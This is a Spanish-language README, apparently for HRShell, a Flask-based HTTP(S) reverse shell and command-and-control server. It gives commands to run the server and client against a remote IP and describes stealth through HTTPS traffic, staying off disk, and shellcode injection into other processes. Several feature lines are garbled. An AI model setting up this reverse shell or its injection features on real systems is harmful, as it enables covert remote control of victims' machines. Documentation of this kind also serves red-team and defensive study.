
HRShell es un reverse shell HTTPS/HTTP construido con flask. Es un servidor C2 avanzado con muchas funciones y capacidades.
HRShell es un reverse shell HTTPS/HTTP construido con Flask y es compatible con python 3.x. El client.py ha sido probado exitosamente en:
mientras que el server.py es compatible con sistemas Unix (Soporte para Windows próximamente...)
migrate <PID>) especificando su PID
cd y variantes).history disponible en sistemas Unix.download/upload/screenshot/hex disponibles.|) y comandos encadenados (;) están soportadosgunicorn y Nginx.server.py como client.py son fácilmente extensibles.*Para cambios de versión consulte el CHANGELOG.
HRShell es sigiloso ya que utiliza el protocolo HTTP(S) como método de comunicación entre cliente y servidor. Además, cuando se usa TLS, el tráfico también está cifrado. Además, si el CERT no está codificado manualmente en el lado del cliente (lo cual es una opción factible) y no se usa el comando upload, entonces client.py no toca el disco en absoluto.
Lado del servidor:
A menos que se especifique la opción --http, por defecto server.py es HTTPS usando certificados sobre la marcha, ya que los certificados sobre la marcha son una característica incorporada de Flask. Pero si se especifica la opción -s tornado para que el servidor use TLS, se deben especificar las opciones --cert y --key de la siguiente manera:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
Se pueden usar certificados "reales" u otra forma de generar un par cert/clave es, por ejemplo, usando mkcert u openssl directamente de la siguiente manera:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
También se puede usar un par cert/clave con el servidor Flask:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ Si el servidor está usando TLS, entonces por diseño el cliente no puede usar
http://...para conectarse al servidor, sino que debe usar explícitamentehttps.
Lado del cliente: Por defecto, la verificación SSL del cliente está deshabilitada, a menos que:
--cert, por ejemplo:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT, en lugar del valor predeterminado None, se establece previamente con un certificado válido, por ejemplo:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
En este caso, client.py intentará crear un archivo oculto .cert.pem sobre la marcha y lo usará en su lugar.⚠️ Que la verificación SSL esté deshabilitada por defecto en el cliente no significa en ningún caso que TLS también esté deshabilitado, TLS estará habilitado si el servidor lo usa - por lo que TLS depende completamente del servidor. La opción
--certen el cliente está ahí solo como una forma alternativa para que el servidor-cliente tenga una sesión cifrada y eso es todo.
Hay dos "modos" de inyección de shellcode usando los dos siguientes comandos respectivamente:
migrate <PID>: Usando este comando podemos inyectar shellcode en el espacio de memoria de otro proceso especificando su PID. Por ahora, este comando solo se puede aplicar en plataformas Windows x86/x64!
inject shellcode: Usando este comando se crea un nuevo hilo (o proceso generado en sistemas Unix) de nuestro proceso actual y la inyección de shellcode ocurre en su espacio de memoria. Como resultado, nuestro shell HTTP(S) no se ve afectado por la inyección. Las plataformas donde se puede aplicar este comando son: Unix x86/x64, Windows x86!
Hay dos formas de especificar/configurar qué tipo de shellcode desea que ejecute el cliente:
shellcode en el script client.py para que sea un shellcode válido, oset shellcode <shellcode-id> para hacerlo sobre la marcha. Con este comando puede actualizar su shellcode en el lado del cliente desde el lado del servidor tantas veces como desee!